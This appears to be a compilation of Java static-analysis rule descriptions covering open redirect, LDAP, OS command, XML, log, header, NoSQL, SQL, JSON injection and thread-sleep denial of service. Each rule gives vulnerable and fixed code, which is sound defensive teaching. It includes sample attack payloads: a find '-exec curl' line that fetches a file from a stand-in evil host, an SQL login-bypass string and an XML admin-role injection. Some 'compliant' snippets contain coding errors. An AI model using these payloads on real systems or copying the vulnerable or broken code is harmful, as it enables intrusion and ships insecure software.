Built-in framework methods should be preferred as, more often than not, these provide additional security mechanisms. Usually, these built-in methods are engineered for internal page redirections. Thus, they might not be the solution for the reader’s use case.

In case the application strictly requires external redirections based on user-controllable data, this could be done using the following alternatives:

1. Validating the authority part of the URL against a statically defined value (see Pitfalls).
2. Using an allow-list approach in case the destination URLs are multiple but limited.
3. Adding a customized page to which users are redirected, warning about the imminent action and requiring manual authorization to proceed.

Pitfalls

The trap of 'StartsWith' and equivalents

When validating untrusted URLs by checking if they start with a trusted scheme and authority pair scheme://authority, ensure that the validation string contains a path separator / as the last character.

If the validation string does not contain a terminating path separator, the Open Redirect vulnerability remains; only the exploitation technique changes.

Thus, a validation like startsWith("https://example.com") or an equivalent with the regex ^https://example\.com.* can be exploited with the following URL https://example.com.malicious.io. The practice of taking over domains that maliciously look like existing domains is widespread and is called Cybersquatting.

Resources

Standards

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')

Why is this an issue?

LDAP injections occur in an application when the application retrieves untrusted data and inserts it into an LDAP query without sanitizing it first.

An LDAP injection can either be basic or blind, depending on whether the server’s fetched data is directly returned in the web application’s response.
The absence of the corresponding response for the malicious request on the application is not a barrier to exploitation. Thus, it must be treated the same way as basic LDAP injections.

What is the potential impact?

In the context of a web application vulnerable to LDAP injection: after discovering the injection point, attackers insert data into the vulnerable field to execute malicious LDAP commands.

The impact of this vulnerability depends on how vital LDAP servers are to the organization.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Data leakage or corruption

In typical scenarios where systems perform innocuous LDAP operations to find users or create inventories, an LDAP injection could result in data leakage or corruption.

Privilege escalation

A malicious LDAP query could allow an attacker to impersonate a low-privileged user or an administrator in scenarios where systems perform authorization checks or authentication.

Attackers use this vulnerability to find multiple footholds on target organizations by gathering authentication bypasses.

How to fix it in Java SE

Code examples

The following noncompliant code is vulnerable to LDAP injections because untrusted data is concatenated to an LDAP query without prior sanitization or validation.

Noncompliant code example

public boolean authenticate(HttpServletRequest req, DirContext ctx) throws NamingException {
  String user = req.getParameter("user");
  String pass = req.getParameter("pass");

  String filter = "(&(uid=" + user + ")(userPassword=" + pass + "))";

  NamingEnumeration<SearchResult> results = ctx.search("ou=system", filter, new SearchControls());
  return results.hasMore();
}

Compliant solution

public boolean authenticate(HttpServletRequest req, DirContext ctx) throws NamingException {
  String user = req.getParameter("user");
  String pass = req.getParameter("pass");

  String filter = "(&(uid={0})(userPassword={1}))";

  NamingEnumeration<SearchResult> results = ctx.search("ou=system", filter, new String[]{user, pass}, new SearchControls());
  return results.hasMore();
}

How does this work?

As a rule of thumb, the best approach to protect against injections is to systematically ensure that untrusted data cannot break out of the initially intended logic.

For LDAP injection, the cleanest way to do so is to use parameterized queries if it is available for your use case.

Another approach is to sanitize the input before using it in an LDAP query. Input sanitization should be primarily done using native libraries.

Alternatively, validation can be implemented using an allowlist approach by creating a list of authorized and secure strings you want the application to use in a query. If a user input does not match an entry in this list, it should be rejected because it is considered unsafe.

Important note: The application must sanitize and validate on the server-side. Not on client-side front-ends.

The most fundamental security mechanism is the restriction of LDAP metacharacters.

For Distinguished Names (DN), special characters that need to be escaped include:

• \
• #
• +
• <
• >
• ,
• ;
• "
• =

For Search Filters, special characters that need to be escaped include:

• *
• (
• )
• \
• null

For Java, OWASP’s functions encodeForDN and encodeForLDAP allow sanitizing these characters and should be used: Remember that it is never a good practice to reinvent the wheel and write your own encoders.
However, if it is not possible to use these libraries, here is an example of an encoder implementation for LDAP search filters, in the Bouncy Castle Java framework.

In the compliant solution example, the search function allows to safely parameterize the query.

Resources

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• RFC 4514 - LDAP: String Representation of Distinguished Names
• RFC 4515 - LDAP: String Representation of Search Filters
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-90 - Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Why is this an issue?

OS command argument injections occur when applications allow the execution of operating system commands from untrusted data but the untrusted data is limited to the arguments.
It is not possible to directly inject arbitrary commands that compromise the underlying operating system, but the behavior of the executed command still might be influenced in a way that allows to expand access, for example, execution of arbitrary commands. The security of the application depends on the behavior of the application that is executed.

What is the potential impact?

An attacker exploiting an arguments injection vulnerability will be able to add arbitrary argument to a system binary call. Depending on the command the parameters are added to, this might lead to arbitrary command execution.

The impact depends on the access control measures taken on the target system OS. In the worst-case scenario, the process runs with root privileges, and therefore any OS commands or programs may be affected.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Denial of service and data leaks

In this scenario, the attack aims to disrupt the organization’s activities and profit from data leaks.

An attacker could, for example:

• download the internal server’s data, most likely to sell it
• modify data, send malware
• stop services or exhaust resources (with fork bombs for example)

This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).

Root privilege escalation and pivot

In this scenario, the attacker can do everything described in the previous section. The difference is that the attacker also manages to elevate their privileges to an administrative level and attacks other servers.

Here, the impact depends on how much the target company focuses on its Defense In Depth. For example, the entire infrastructure can be compromised by a combination of OS injections and misconfiguration of:

• Docker or Kubernetes clusters
• cloud services
• network firewalls and routing
• OS access control

How to fix it in Java SE

Code examples

The following code uses the find command and expects the user to enter the name of a file to find on the system.

It is vulnerable to argument injection because untrusted data is inserted in the arguments of a process call without prior validation or sanitization.
Here, the application ignores that a user-submitted parameter might contain special characters that will tamper with the expected system command behavior.

In this particular case, an attacker might add arbitrary arguments to the find command for malicious purposes. For example, the following payload will download malicious software on the application’s hosting server.

 -exec curl -o /var/www/html/ http://evil.example.org/malicious.php ;

Noncompliant code example

@Controller
public class ExampleController
{
    @GetMapping(value = "/find")
    public void find(@RequestParam("filename") String filename) throws IOException {

        Runtime.getRuntime().exec("/usr/bin/find . -iname " + filename);
    }
}

Compliant solution

@Controller
public class ExampleController
{
    @GetMapping(value = "/find")
    public void find(@RequestParam("filename") String filename) throws IOException {

        String cmd1[] = new String[] {"/usr/bin/find", ".", "-iname", filename};
        Process proc = Runtime.getRuntime().exec(cmd1); // Compliant
    }
}

java.lang.Runtime is sometimes used over java.lang.ProcessBuilder due to ease of use. Flexibility in methods often introduces security issues as edge cases are easily missed. The compliant solution logic is also applied to java.lang.ProcessBuilder.

How does this work?

Allowing users to insert data in operating system commands generally creates more problems than it solves.

Anything that can be done via operating system commands can usually be done via a language’s native SDK.
Therefore, our suggestion is to avoid using OS commands in the first place.

Here java.lang.Runtime.exec(String[] cmdarray) takes care of escaping the passed arguments and internally creates a single string given to the operating system to be executed.

Resources

Documentation

• OWASP, OS Command Injection Defense Cheat Sheet
• GTFOBins, list of Unix binaries that can be used to bypass local security restrictions
• LOLBAS, list of Windows binaries that can be used to bypass local security restrictions

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-88 - Argument Injection or Modification

Why is this an issue?

XML injections occur when an application builds an XML-formatted string from user input without prior validation or sanitation. In such a case, a tainted user-controlled value can tamper with the XML string content. Especially, unexpected arbitrary elements and attributes can be inserted in the corresponding XML description.

A malicious injection payload could, for example:

• Insert tags into the main XML document.
• Add attributes to an existing XML tag.
• Change the data value inside a tag.

A malicious user-supplied value can perform other modifications depending on where and how the constructed data is later used.

What is the potential impact?

The consequences of an XML injection attack on an application vary greatly depending on the application’s logic. It can affect the application itself or another element if the XML document is used for cross-component data exchange. For this reason, the actual impact can range from benign information disclosure to critical remote code execution.

Information disclosure

An attacker can forge an attack payload that will modify the XML document so that it will become syntactically incorrect. In that case, when the data is later used, the parsing component will raise a technical error. If displayed back to the attacker or made available through log files, this technical error may disclose sensitive business or technical information.

This scenario, while in general the less severe one, is the most frequently encountered. It can combine with any other logic-dependant threat.

Internal requests tampering

Some applications communicate with backend micro-services APIs using XML-based protocols such as SOAP. When those applications are vulnerable to XML injections, attackers can tamper with the internal requests' content. This will allow them to change internal requests' parameters or locations which, in turn, can lead to various consequences like performing unauthorized actions or accessing sensitive data.

For example, altering a user creation request in such a way can lead to a privilege escalation if attackers manage to modify the default account privilege level.

Code execution

An application might build objects based on an XML serialization string. In that case, an attacker that would exploit an XML injection could be able to alter the serialization string to modify the corresponding object’s properties.

Depending on the deserialization process, this might allow instantiating arbitrary objects or objects with sensitive properties altered. This can lead to arbitrary code being executed in the same way as a deserialization injection vulnerability.

How to fix it in Java SE

Code examples

The following code is an example of an overly simple authentication function: The role of a user is set in an XML file and the default user role is user.
This example code is vulnerable to an XML injection vulnerability because it builds an XML string from user input without prior sanitation or validation.

In this particular case, the query can be exploited with the following string:

attacker</username><role>admin</role></user>
<user><username>foo

By adapting and inserting this string into the username field, an attacker would be able to log in as an admin.

Noncompliant code example

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String xml =
        """<user>
            <username>"""+req.getParameter("username")+"""</username>
            <role>user</role>
        </user>""";

    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

    try {
        DocumentBuilder builder = factory.newDocumentBuilder();
        builder.parse(new InputSource(new StringReader(xml))); // Noncompliant
    } catch (ParserConfigurationException | SAXException e) {
        resp.sendError(400);
    }
}

Compliant solution

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.Element;

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

    try {
        DocumentBuilder builder = factory.newDocumentBuilder();
        Document doc = builder.newDocument();
        Element user = doc.createElement("user");
        doc.appendChild(user);

        Element usernameElement = doc.createElement("username");
        user.appendChild(usernameElement);
        username_element.setTextContent(req.getParameter("username"));

        Element role = doc.createElement("role");
        user.appendChild(role);
        role.setTextContent("user");

    } catch (ParserConfigurationException e) {
        resp.sendError(400);
    }
}

How does this work?

In most cases, building XML strings with a direct concatenation of user input is discouraged. While not always possible, a strong pattern-based validation can help sanitize tainted inputs. Likewise, converting to a harmless type can sometimes be a solution.

However, directly constructing Java objects should be preferred over handling the properties of objects as strings.

Programmatic object building

In most cases, an application can directly create documents from user input without having to build and parse an XML string. Doing so prevents injection vulnerabilities as XML document construction libraries and functions will properly escape and check the type of input values.

Sometimes, the application might need to include the user input in a document built from a trusted XML string. In that case, the recommended solution is to parse the trusted string first and then programmatically modify the resulting document.

The example compliant code takes advantage of the javax.xml and org.w3c.dom libraries capabilities to programmatically build XML documents.

Converting to a harmless type

When the application allows it, casting user-submitted data to a harmless type can help prevent XML injection vulnerabilities. In particular, converting user inputs to numeric types is an efficient sanitation mechanism.

This mechanism can be extended to other types, including more complex ones. However, care should be taken when dealing with them, as manually validating or sanitizing complex types can represent a challenge.

Note that choosing this solution can be error-prone: every user input has to be validated or sanitized without oversight.

Resources

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-91 - XML Injection (aka Blind XPath Injection)

Why is this an issue?

Log injection occurs when an application fails to sanitize untrusted data used for logging.

An attacker can forge log content to prevent an organization from being able to trace back malicious activities.

What is the potential impact?

If an attacker can insert arbitrary data into a log file, the integrity of the chain of events being recorded can be compromised.
This frequently occurs because attackers can inject the log entry separator of the logger framework, commonly newlines, and thus insert artificial log entries.
Other attacks could also occur requiring only field pollution, such as cross-site scripting (XSS) or code injection (for example, Log4Shell) if the logged data is fed to other application components, which may interpret the injected data differently.

The focus of this rule is newline character replacement.

Log Forge

An attacker, able to create independent log entries by injecting log entry separators, inserts bogus data into a log file to conceal his malicious activities. This obscures the content for an incident response team to trace the origin of the breach as the indicators of compromise (IoCs) lead to fake application events.

How to fix it in Java SE

Code examples

The following code is vulnerable to log injection as it constructs log entries using untrusted data. An attacker can leverage this to manipulate the chain of events being recorded.

Noncompliant code example

private static final Logger logger = Logger.getLogger("Logger");

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {

  String data = request.getParameter("data");
  if(data != null){
    logger.log(Level.INFO, "Data: {0} ", data);
  }
}

Compliant solution

private static final Logger logger = Logger.getLogger("Logger");

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {

  String data = request.getParameter("data");
  if(data != null){
    data = data.replaceAll("[\n\r]", "_");
    logger.log(Level.INFO, "Data: {0} ", data);
  }
}

How does this work?

Data used for logging should be content-restricted and typed. This can be done by validating the data content or sanitizing it.
Validation and sanitization mainly revolve around preventing carriage return (CR) and line feed (LF) characters. However, further actions could be required based on the application context and the logged data usage.

Resources

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2021 Category A9 - Security Logging and Monitoring Failures
• OWASP Top 10 2017 Category A1 - Injection
• OWASP Top 10 2017 Category A10 - Insufficient Logging & Monitoring
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-117 - Improper Output Neutralization for Logs

This rule is deprecated; use S5122, S5146, S6287 instead.

Why is this an issue?

User-provided data, such as URL parameters, POST data payloads, or cookies, should always be considered untrusted and tainted. Applications constructing HTTP response headers based on tainted data could allow attackers to change security sensitive headers like Cross-Origin Resource Sharing headers.

Web application frameworks and servers might also allow attackers to inject new line characters in headers to craft malformed HTTP response. In this case the application would be vulnerable to a larger range of attacks like HTTP Response Splitting/Smuggling. Most of the time this type of attack is mitigated by default modern web application frameworks but there might be rare cases where older versions are still vulnerable.

As a best practice, applications that use user-provided data to construct the response header should always validate the data first. Validation should be based on a whitelist.

Noncompliant code example

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
  String value = req.getParameter("value");
  resp.addHeader("X-Header", value); // Noncompliant
}

Compliant solution

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String value = req.getParameter("value");

    String whitelist = "safevalue1 safevalue2";
    if (!whitelist.contains(value))
      throw new IOException();

    resp.addHeader("X-Header", value); // Compliant
}

Resources

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Attack Category - HTTP Response Splitting
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-113 - Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
• SANS Top 25 - Insecure Interaction Between Components

Why is this an issue?

OS command injections occur when applications build command lines from untrusted data before executing them with a system shell.
In that case, an attacker can tamper with the command line construction and force the execution of unexpected commands. This can lead to the compromise of the underlying operating system.

What is the potential impact?

An attacker exploiting an OS command injection vulnerability will be able to execute arbitrary commands on the underlying operating system.

The impact depends on the access control measures taken on the target system OS. In the worst-case scenario, the process runs with root privileges, and therefore any OS commands or programs may be affected.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Denial of service and data leaks

In this scenario, the attack aims to disrupt the organization’s activities and profit from data leaks.

An attacker could, for example:

• download the internal server’s data, most likely to sell it
• modify data, send malware
• stop services or exhaust resources (with fork bombs for example)

This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).

Root privilege escalation and pivot

In this scenario, the attacker can do everything described in the previous section. The difference is that the attacker also manages to elevate their privileges to an administrative level and attacks other servers.

Here, the impact depends on how much the target company focuses on its Defense In Depth. For example, the entire infrastructure can be compromised by a combination of OS injections and misconfiguration of:

• Docker or Kubernetes clusters
• cloud services
• network firewalls and routing
• OS access control

How to fix it in Apache Commons

Code examples

The following code is vulnerable to command injections because it is using untrusted inputs to set up a new process. Therefore an attacker can execute an arbitrary program that is installed on the system.

Noncompliant code example

@Controller
public class ExampleController
{
    @GetMapping(value = "/exec")
    public void exec(@RequestParam("command") String command) throws IOException {

        CommandLine cmd = new CommandLine(command);
        DefaultExecutor executor = new DefaultExecutor();
        executor.execute(cmd);
    }
}

Compliant solution

@Controller
public class ExampleController
{
    @GetMapping(value = "/exec")
    public void exec(@RequestParam("command") String command) throws IOException {

        List<String> allowedCmds = new ArrayList<String>();
        allowedCmds.add("/bin/ls");
        allowedCmds.add("/bin/cat");

        if (allowedCmds.contains(command)){
            CommandLine cmd = new CommandLine(command);
            DefaultExecutor executor = new DefaultExecutor();
            executor.execute(cmd);
        }
    }
}

How does this work?

Allowing users to execute operating system commands generally creates more problems than it solves.

Anything that can be done via operating system commands can usually be done via a language’s native SDK.
Therefore, our first suggestion is to avoid using OS commands in the first place.
However, if the application requires running OS commands with user-controlled data, here are some security suggestions.

Pre-Approved commands

If the application aims to execute only a small number of OS commands (for example, ls, pwd, and grep), the cleanest way to avoid this problem is to validate the input before using it in an OS command.

Create a list of authorized and secure commands that you want the application to be able to execute. Use absolute paths to avoid any ambiguity.
If a user input does not match an entry in this list, it should be rejected because it is considered unsafe.

Depending on the number of commands you want the application to support, the list can be either a regex string or any array type. If you use regexes, choose simple regexes to avoid ReDOS attacks. For example, you can accept only a specific set of executables, by using ^/bin/(ls|pwd|grep)$.

Important note: The application must do validation on the server side. Not on client-side front-ends.

Neutralize special characters

If the application is to execute complex commands that cannot be controlled thanks to pre-approved lists, the cleanest approach is to use special sanitization components, such as org.apache.commons.exec.CommandLine.addArguments(String[] addArguments).

The library helps you to get rid of common dangerous characters, such as:

• &
• |
• ;
• $
• >
• <
• \`
• \\
• !

If user input is to be included in the arguments of a command, the application must ensure that dangerous options or argument delimiters are neutralized.
Argument delimiters count ', - and spaces.

For example, the find command from UNIX supports the dangerous argument -exec.
In this case, option processing can be terminated with a string containing -- or with special options. For example, git supports --end-of-options since its version 2.24.

Here org.apache.commons.exec.CommandLine.addArguments(String[] addArguments) takes care of escaping the passed arguments and internally creates a single string given to the operating system to be executed.

Resources

Documentation

• OWASP, OS Command Injection Defense Cheaty Sheet
• GTFOBins, list of Unix binaries that can be used to bypass local security restrictions
• LOLBAS, list of Windows binaries that can be used to bypass local security restrictions

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-78 - Improper Neutralization of Special Elements used in an OS Command

Why is this an issue?

NoSQL injections occur when an application retrieves untrusted data and inserts it into a database query without sanitizing it first.

What is the potential impact?

In the context of a web application that is vulnerable to NoSQL injection:
After discovering the injection point, attackers insert data into the vulnerable field to execute malicious commands in the affected databases.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Identity spoofing and data leakage

In the context of simple query logic breakouts, a malicious database query enables privilege escalation or direct data leakage from one or more databases.
This threat is the most widespread impact.

Data deletion and denial of service

The malicious query makes it possible for the attacker to delete data in the affected databases.
This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP) as missing data can disrupt the regular operations of an organization.

Chaining NoSQL injections with other vulnerabilities

Attackers who exploit NoSQL injections rely on other vulnerabilities to maximize their profits.
Most of the time, organizations overlook some defense in depth measures because they assume attackers cannot reach certain points in the infrastructure. This misbehavior can lead to multiple attacks with great impact:

• When secrets are stored unencrypted in databases: Secrets can be exfiltrated and lead to compromise of other components.
• If server-side OS and/or database permissions are misconfigured, injection can lead to remote code execution (RCE).

How to fix it in Legacy Mongo Java API

Code examples

The following code is vulnerable to NoSQL injections because untrusted data is concatenated to the $where operator. This operator indicates to the backend that the expression needs to be interpreted, resulting in code injection.

Noncompliant code example

import com.mongodb.MongoClient;
import com.mongodb.DB;
import com.mongodb.DBCollection;
import com.mongodb.BasicDBObject;

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws UnknownHostException
{
    String input = req.getParameter("input");

    MongoClient mongoClient = new MongoClient();
    DB database             = mongoClient.getDB("ExampleDatabase");
    DBCollection collection = database.getCollection("exampleCollection");
    BasicDBObject query     = new BasicDBObject();

    query.append("$where", "this.field == \"" + input + "\"");

    collection.find(query);
}

Compliant solution

import com.mongodb.MongoClient;
import com.mongodb.DB;
import com.mongodb.DBCollection;
import com.mongodb.BasicDBObject;

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws UnknownHostException
{
    String input = req.getParameter("input");

    MongoClient mongoClient = new MongoClient();
    DB database             = mongoClient.getDB("ExampleDatabase");
    DBCollection collection = database.getCollection("exampleCollection");
    BasicDBObject query     = new BasicDBObject();

    query.append("field", input);

    collection.find(query);
}

How does this work?

Pre-approved list

As a rule of thumb, the best approach to protect against injections is to systematically ensure that untrusted data cannot break out of the initially intended logic.

For NoSQL injections, the cleanest way to do so is to validate the input before using it in a query.

Create a list of authorized and secure strings that you want the application to be able to use in a query.
If a user input does not match an entry in this list, it should be rejected because it is considered unsafe.

The list can be either a regex string, an array, or validators on specific ranges of characters. If you use regexes, choose simple regexes to avoid ReDOS attacks.

Important note: The application must do validation on the server side. Not on client-side front-ends.

Operators are to be classified as dangerous

As a rule of thumb if no operators are needed, you should generally reject user input containing them. If some operators are necessary, you should restrict their use.

Some operators execute JavaScript, and their use should be restricted for both untrusted input and internal code.
These operators include:

• $where
• $function
• $accumulator
• mapReduce

Depending on your use case, you should first try using regular API calls before using any of these operators.
For example, using a $where operator is unnecessarily complex when only a simple search is required. It also leads to performance problems.

Note: Server-side scripting can be disabled.

Regular operators can also lead to data leaks.
For example, attackers can use "comparison query operators" in their attack data to trick the backend database into giving hints about sensitive information or entirely giving it out.

In the previous example, the untrusted data doesn’t need validation for its use case. Moving it out of a $where expression into a proper field query is enough.

Resources

Articles & blog posts

• SonarSource, NoSQL Injections in Rocket.Chat 3.12.1

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-943 - Improper Neutralization of Special Elements in Data Query Logic

Why is this an issue?

Database injections (such as SQL injections) occur in an application when the application retrieves data from a user or a third-party service and inserts it into a database query without sanitizing it first.

If an application contains a database query that is vulnerable to injections, it is exposed to attacks that target any database where that query is used.

A user with malicious intent carefully performs actions whose goal is to modify the existing query to change its logic to a malicious one.

After creating the malicious request, the attacker can attack the databases affected by this vulnerability without relying on any pre-requisites.

What is the potential impact?

In the context of a web application that is vulnerable to SQL injection:
After discovering the injection, attackers inject data into the vulnerable field to execute malicious commands in the affected databases.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Identity spoofing and data manipulation

A malicious database query enables privilege escalation or direct data leakage from one or more databases. This threat is the most widespread impact.

Data deletion and denial of service

The malicious query makes it possible for the attacker to delete data in the affected databases.
This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).

Chaining DB injections with other vulnerabilities

Attackers who exploit SQL injections rely on other vulnerabilities to maximize their profits.
Most of the time, organizations overlook some defense in depth measures because they assume attackers cannot reach certain points in the infrastructure. This misbehavior can lead to multiple attacks with great impact:

• When secrets are stored unencrypted in databases: Secrets can be exfiltrated and lead to compromise of other components.
• If server-side OS and/or database permissions are misconfigured, injection can lead to remote code execution (RCE).
  • See our article on this topic

How to fix it in Java SE

Code examples

The following code is an example of an overly simple authentication function. It is vulnerable to SQL injection because user-controlled data is inserted directly into a query string: The application assumes that incoming data always has a specific range of characters, and ignores that some characters may change the query logic to a malicious one.

In this particular case, the query can be exploited with the following string:

foo' OR 1=1 --

By adapting and inserting this template string into one of the fields (user or pass), an attacker would be able to log in as any user within the scoped user table.

Noncompliant code example

@RestController
public class ApiController
{
    @Autowired
    Connection connection;

    @GetMapping(value = "/authenticate")
    @ResponseBody
    public ResponseEntity<String> authenticate(
        @RequestParam("user") String user,
        @RequestParam("pass") String pass) throws SQLException
    {
        String query = "SELECT * FROM users WHERE user = '" + user + "' AND pass = '" + pass + "'";

        try (Statement statement = connection.createStatement()) {

            ResultSet resultSet = statement.executeQuery(query);

            if (!resultSet.next()) {
                return new ResponseEntity<>("Unauthorized", HttpStatus.UNAUTHORIZED);
            }
        }

        return new ResponseEntity<>("Authentication Success", HttpStatus.OK);
    }
}

Compliant solution

@RestController
public class ApiController
{
    @Autowired
    Connection connection;

    @GetMapping(value = "/authenticate")
    @ResponseBody
    public ResponseEntity<String> authenticate(
        @RequestParam("user") String user,
        @RequestParam("pass") String pass) throws SQLException
    {
        String query = "SELECT * FROM users WHERE user = ? AND pass = ?";

        try (PreparedStatement statement = connection.prepareStatement(query)) {
            statement.setString(1, user);
            statement.setString(2, pass);

            ResultSet resultSet = statement.executeQuery(query);

            if (!resultSet.next()) {
                return new ResponseEntity<>("Unauthorized", HttpStatus.UNAUTHORIZED);
            }
        }

        return new ResponseEntity<>("Authentication Success", HttpStatus.OK);
    }
}

How does this work?

Use prepared statements

As a rule of thumb, the best approach to protect against injections is to systematically ensure that untrusted data cannot break out of an interpreted context.

For database queries, prepared statements are a natural mechanism to achieve this due to their internal workings.
Here is an example with the following query string (Java SE syntax):

SELECT * FROM users WHERE user = ? AND pass = ?

Note: Placeholders may take different forms, depending on the library used. For the above example, the question mark symbol '?' was used as a placeholder.

When a prepared statement is used by an application, the database server compiles the query logic even before the application passes the literals corresponding to the placeholders to the database.
Some libraries expose a prepareStatement function that explicitly does so, and some do not - because they do it transparently.

The compiled code that contains the query logic also includes the placeholders: they serve as parameters.

After compilation, the query logic is frozen and cannot be changed.
So when the application passes the literals that replace the placeholders, they are not considered application logic by the database.

Consequently, the database server prevents the dynamic literals of a prepared statement from affecting the underlying query, and thus sanitizes them.

On the other hand, the application does not automatically sanitize third-party data (for example, user-controlled data) inserted directly into a query. An attacker who controls this third-party data can cause the database to execute malicious code.

Resources

Articles & blog posts

• SonarSource, Exploiting Hibernate Injections
• OWASP, SQL Injection Prevention Cheat Sheet
• SANS, Top 25 Software Errors - Insecure Interaction Between Components

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-89 - Improper Neutralization of Special Elements used in an SQL Command
• CERT, IDS00-J. - Prevent SQL injection

Why is this an issue?

Most modern applications use threads to handle incoming requests or other long-running tasks concurrently. In some cases, the number of concurrent threads is limited to avoid system resource exhaustion due to too numerous actions being run.

When an application uses user-controlled data as a parameter of a thread suspension operation, a Denial of Service attack can be made possible.

What is the potential impact?

An attacker with the capability to insert an arbitrary duration into a thread suspension operation could suspend the corresponding thread for a long time. Depending on the application’s architecture and the thread handling logic, this can lead to a complete Denial of Service of the application.

Indeed, if the number of threads, either created by the application or allocated by a web server, is limited, the attacker will be able to suspend all of them at the same time. Without any remaining thread to handle actions, the application might badly answer, be slowed down, or become completely irresponsive.

How to fix it in Java SE

Code examples

This code is vulnerable to a Denial of Service because it sets a thread’s suspension time from user input without prior validation or sanitation.

Noncompliant code example

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        Long time = Long.parseLong(req.getParameter("time"));
        try {
            Thread.sleep(time); // Noncompliant
        } catch (InterruptedException e) {
            resp.sendError(500);
        }
    }

Compliant solution

protected void compliant(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        Long time = Long.parseLong(req.getParameter("time"));
        try {
            Thread.sleep(Math.min(time, 1000));
        } catch (InterruptedException e) {
            resp.sendError(500);
        }
    }

How does this work?

In most cases, it is discouraged to define a thread suspension time from user-input.

If really necessary, the application should ensure that the provided suspension time is below a safe limit. Such a limit should be evaluated and set to the lowest possible time that ensures the application’s operation and restricts denial of service attacks.

The example compliant code uses the Math.min function to ensure the suspension duration is below the limit of one second.

Note that even when the suspension time is limited, an attacker who submits numerous requests at high speed can still manage always to consume all available threads.

Resources

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-400 - Uncontrolled Resource Consumption

Why is this an issue?

JSON injections occur when an application builds a JSON-formatted string from user input without prior validation or sanitation. In such a case, a tainted user-controlled value can tamper with the JSON string content. Especially, unexpected arbitrary elements can be inserted in the corresponding JSON object. Those modifications can include:

• Adding additional keys to a JSON dictionary.
• Changing values types.
• Adding elements in an array.

A malicious user-supplied value can perform other modifications depending on where and how the constructed data is later used.

What is the potential impact?

The consequences of a JSON injection attack into an application vary greatly depending on the application’s logic. It can affect the application itself or another element if the JSON string is used for cross-component data exchange. For this reason, the actual impact can range from benign information disclosure to critical remote code execution.

Information disclosure

An attacker can forge an attack payload that will modify the JSON string so that it will become syntactically incorrect. In that case, when the data is later used, the parsing component will raise a technical error. If displayed back to the attacker or made available through log files, this technical error may disclose sensitive business or technical information.

This scenario, while in general the less severe one, is the most frequently encountered. It can combine with any other logic-dependant threat.

Privilege escalation

An application that would rely on JSON to store or propagate users' authentication levels and roles would be under threat of privilege escalations. Indeed, an attacker could tamper with the permissions storage object to insert arbitrary roles or privileges.

While highly specific, similar issues can be faced in the following situations:

• An application builds JSON payloads for HTTP requests.
• An application builds JWT from user input.

Code execution

An application might build objects based on a JSON serialization string. In that case, an attacker that would exploit a JSON injection could be able to alter the serialization string to modify the corresponding object’s properties.

Depending on the deserialization process, this might allow instantiating arbitrary objects or objects with sensitive properties altered. This can lead to arbitrary code being executed in the same way as a deserialization injection vulnerability.

How to fix it in Java SE

Code examples

The following code is vulnerable to a JSON injection vulnerability because it builds a JSON string from user input without prior sanitation or validation. Therefore, an attacker can submit a tainted value that will tamper with the corresponding JSON object structure.

Noncompliant code example

import org.json.JSONObject;

public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    try {
        String tainted = request.getParameter("value");
        String json = "{\"key\":\""+ tainted +"\"}";
        JSONObject obj = new JSONObject(json); // Noncompliant
    } catch (JsonException e) {
        resp.sendError(400)
    }
}

Compliant solution

import org.json.JSONObject;

public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    JSONObject obj = new JSONObject(json);
    obj.put("key", request.getParameter("value"));
}

How does this work?

